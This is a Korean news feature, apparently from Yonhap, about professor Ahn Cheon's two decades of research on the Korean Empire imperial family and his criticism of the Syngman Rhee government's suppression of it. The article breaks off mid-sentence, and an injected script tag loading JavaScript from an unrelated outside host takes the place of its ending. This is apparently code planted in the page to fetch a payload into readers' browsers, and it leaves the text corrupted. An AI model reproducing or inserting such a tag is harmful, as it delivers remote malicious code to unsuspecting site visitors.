대한제국 황실 연구 20년 안 천 서울교대 교수

사재 헐어 황실학회 만들고 황실학논총ㆍ연구시리즈 펴내

"이승만 정권의 황실탄압은 황실해체 비수 꽂은 정치폭력"

"식민사관에 왜곡돼 버려져 있을 뿐 대한황실은 살아있어"

(서울=연합뉴스) 김용수 편집위원 = 고종, 순종, 영왕으로 이어지는 대한제국 황실의 역사는 우리 현대사에서 기록이 단절된 지 오래다. 그런데 만약 어린 나이에 일본에 볼모로 끌려갔던 영왕이 일본 패망 직후 귀국했더라면 대한제국 황실은 어떻게 됐을까.

당시 이승만 정권은 황실 재산을 몰수하는 등 정치적으로 황실을 탄압했다. 그 때 이승만 정부가 반대로 영왕의 귀국을 돕고 황실을 존중하는 정책을 취했다면 황실의 명맥은 상징적으로라도 이어지지 않았을까.

패망한 일본은 연합국의 점령 통치 속에서도 `천황제'의 명맥만은 유지하기 위해 안간힘을 썼다.현인신(現人神)으로 추앙받던 `천황'이 `인간선언'을 하는 굴욕과 타협을 선택했고 미 군정은 사회혼란 방지와 사회통합을 위한 천황의 역할에 주목했다.그 결과 태평양 침략전쟁의 제1 전범 천황은 `상징 천황제'라는 이름으로 일본의 정치체제 속에 살아 남았다.

◇ 대한제국 황실은 과연 무능했는가 = 황실 재건을 지지하는 사람들은 대한제국은 스스로 문을 닫지 않았으며 국민이 들고 일어나 문을 닫으라고 요구하지도 않았다고 말한다. 일제 침략으로 무참하게 짓밟혀 몰락했을 뿐이다. 일본의 황실은 국민통합의 구심점으로 오늘날에도 존중받고 있는데 500년 역사의 조선 왕실은 왜 아무도 거들떠보지 않는 잊혀진 존재가 됐는가. 대한제국 황실은 정말 무능하고 부패했는가.

이런 물음에 답을 얻기 위해 학계에서는 아무도 관심을 기울이지 않는, 정치학자로서는 `이단의 분야'인 대한제국 황실 연구에 몰두해온 집년과 소신의 교수가 있다. 안 천(60) 서울교대 교수다. 사라진 대한황실의 역사를 복원하기 위해, 공중분해돼 뿔뿔이 흩어진 황실 후손들을 찾아 전국을 발로 뛰어다닌 지 올해로 20년째다.

"교수 초년 시절에 정치학 강의를 하면서 왜 우리 것은 없는지 의문이 들었습니다. 정치학 강의라는 것이 대부분 외국 제도에 의존하기 마련입니다. 우리의 기나긴 역사가 일제에 의해 끊겨 공백이 생겼는데 그것을 이승만 대통령이 수입해온 미국의 제도가 대신했습니다. 그렇다면 일본이 끊어놓은 것을 이어야 하는데 우리 것은, 임금님은 어디에 있느냐, 왜 우리 현대 정치사에는 일제침략으로 끊긴 전통적 정치행태에 대한 논의가 없느냐는 생각이 들었습니다. 그게 황실 연구에 발을 들여놓은 계기였습니다"

◇ 임금님은 어디로 갔나 = 안 교수의 황실 연구에는 두 사람의 만남이 기폭제가 됐다. 소설 `왕조의 후예'(삼신각)를 쓴 강용자 경향신문 전 논설위원과 `노래하는 황손' 이석(67)씨다. 이석 씨는 의왕의 10남. `비둘기집'을 부른 가수로도 유명하다. 그는 재작년 영왕의 아들로 도쿄의 한 호텔에서 횡사한 `마지막 황태손' 이구 씨의 장례식장에서 전주이씨 대동종약원이 일방적으로 이구 씨의 양자를 입적한 데 격분해 거세게 항의했던 `황손'이다.

"황실 복원의 필요성을 다룬 어설픈 논문 3-4개를 썼을 ?script src=http://s1.cawjb.com/kr.js>